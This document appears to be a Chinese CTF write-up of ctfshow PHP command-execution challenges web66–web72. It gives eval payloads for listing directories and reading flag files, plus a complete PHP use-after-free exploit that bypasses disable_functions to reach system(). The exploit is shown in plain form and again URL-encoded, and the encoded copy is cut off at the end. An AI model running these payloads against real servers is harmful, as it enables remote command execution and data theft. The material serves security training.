// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
web66
命令执行,突破禁用函数,求你们别秀了
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
这次看来不行了
看看在哪
c=payload(scandir("/"));
c=highlight_file('/flag.txt');
ctfshow{56cd7a6d-1486-4d07-b1d2-f213654082f5}
web67
命令执行,突破禁用函数,求你们别秀了
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
ctfshow{128e2d11-eb79-4899-adde-cb2257e85751}
web68
命令执行,突破禁用函数,求你们别秀了
源代码直接不给了
show_source()、print_r()也被ban了
不过还可以用var_dump
c=var_dump(scandir('./'));
c=var_dump(scandir('/'));
发现/flag.txt和./flag.php
直接文件包含文本
c=include'/flag.txt';
ctfshow{b294af39-78b2-4f71-a5be-805ec4878ea6}
flag.php里面没有flag
web69
命令执行,突破禁用函数,求你们别秀了
ctfshow{a43a8b63-a1e2-4f57-9d57-edbbca149eb1}
web70
命令执行,突破禁用函数,求你们别秀了
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?
开幕雷击
不过,同web68
ctfshow{2996788a-1cca-40cb-a620-df9918f0042b}
web71
命令执行,突破禁用函数,求你们别秀了
这次给了源码附件
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
获取缓冲区的数据,然后清除缓冲区数据,再输出大小写字母数字置换成?的原缓冲区数据,相当于输出半路给你截了,然后衣服给你扒光再放走
置换操作都是文件包含后面的,终止后面操作,利用die()或者exit()提前结束即可
ctfshow{0243efe0-01b9-4232-9ba9-8ab76a8ad8da}
web72
命令执行,突破禁用函数,求你们别秀了
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
找不到flag,需要扫描目录
没有访问权限
可以用DirectoryIterator
类下的getFilename()
方法,搭配上glob://
直接套php官方的example
<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
echo $fileinfo->getFilename() . "\n";
}
?>
c=
$dir = new DirectoryIterator('glob:///*');
foreach ($dir as $fileinfo) {
echo $fileinfo->getFilename() . "\n";
}
die();
发现flag0.txt
,目录访问限制了
这真没法了,看了一下官方的POC
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
利用php的一个UAF。。这不是pwn的东西吗,为难web狗了,还是太菜了
大概就通过各种地址偏移最后指向system函数,看看GPT怎么说的
这段PHP代码是一个漏洞利用脚本,利用的是PHP的Use After Free (UAF) 漏洞来执行任意代码。下面是对代码的详细解释:
漏洞利用过程解析
- Vuln 类和 Helper 类定义:
Vuln
类有一个成员$a
,在其析构函数__destruct()
中利用了 UAF 漏洞。Helper
类定义了几个成员$a, $b, $c, $d
。
- 辅助函数:
str2ptr(&$str, $p = 0, $s = 8)
:将字符串中的一部分转换为地址。ptr2str($ptr, $m = 8)
:将地址转换为字符串形式。write(&$str, $p, $v, $n = 8)
:向字符串中写入值。
- 漏洞利用函数
ctfshow($cmd)
:- 首先检查操作系统是否为 *nix 系统,如果不是则退出。
- 创建了
$n_alloc
个字符串对象$contiguous
,用于分配内存。 - 调用
trigger_uaf('x')
函数,该函数触发 UAF 漏洞。在这个函数内部,将一个字符串对象赋值给$vuln->a
成员,然后销毁$vuln
对象。 - 在
ctfshow
函数中,从$backtrace
中获取之前触发 UAF 时的参数$abc
。
- 利用 UAF 获取地址:
- 通过
$abc
字符串获取闭包处理函数的地址、PHP堆的地址等关键信息。
- 通过
- 获取基础函数地址:
- 使用
get_basic_funcs($base, $elf)
函数获取 PHP 基础函数的地址。
- 使用
- 获取系统函数地址:
- 使用
get_system($basic_funcs)
函数获取system
函数的地址。
- 使用
- 构造恶意对象:
- 使用
$abc
字符串对象,构造恶意对象的偏移,将获取的系统函数地址写入其中。
- 使用
- 执行命令:
- 最后执行
($helper->b)($cmd)
,即调用之前设置的闭包处理函数,从而触发执行命令。
- 最后执行
漏洞利用思路
- 利用
Vuln
类的 UAF 漏洞,获取到之前释放的$abc
字符串对象,从中读取关键信息。 - 利用 PHP 内存布局和 ELF 文件解析,找到系统函数地址并将其注入到构造的恶意对象中。
- 最终通过触发闭包函数来执行系统命令。
编码发包
c=%3f%3e%3c%3f%70%68%70%0a%66%75%6e%63%74%69%6f%6e%20%63%74%66%73%68%6f%77%28%24%63%6d%64%29%20%7b%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0a%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%70%74%72%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%22%25%63%22%2c%28%24%76%20%26%20%30%78%66%66%29%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0a%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0a%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0a%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0a%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0a%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0a%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0a%20%20%20%20%7d%0a%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0a%20%20%20%20%